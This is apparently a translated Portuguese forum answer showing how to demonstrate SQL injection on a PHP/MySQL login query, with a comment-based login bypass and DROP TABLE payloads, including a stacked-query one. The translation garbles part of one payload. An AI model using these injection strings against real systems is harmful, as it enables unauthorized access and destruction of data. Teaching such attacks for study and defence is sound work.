Mysql
 sql >> Base de Dados >  >> RDS >> Mysql

Como demonstrar SQL Injection neste código PHP e MySQL?


Algo assim deve fazer:
  1. Para fazer login como usuário "foo", defina o nome de usuário como "foo' -- "

Isso fará com que sua consulta pareça
$res = mysql_query("SELECT * from users where user='foo' -- ' AND pass=''");

O "--" significa que o resto da linha está comentado
  1. Não tenho certeza se isso funcionará, mas tente definir o nome de usuário como "foo' OR (usuários de DROP TABLE) -- "

Isso fará com que sua consulta se pareça com:
$res = mysql_query("SELECT * from users where user='foo' OR (DROP TABLE users) -- ' AND pass=''");

pode não aceitar isso - acho que as subconsultas só podem SELECT.

A função mysql_query executará apenas uma consulta - outras permitirão que você faça isso:
$res = mysql_query("SELECT * from users where user='foo'; DROP TABLE users -- ' AND pass=''");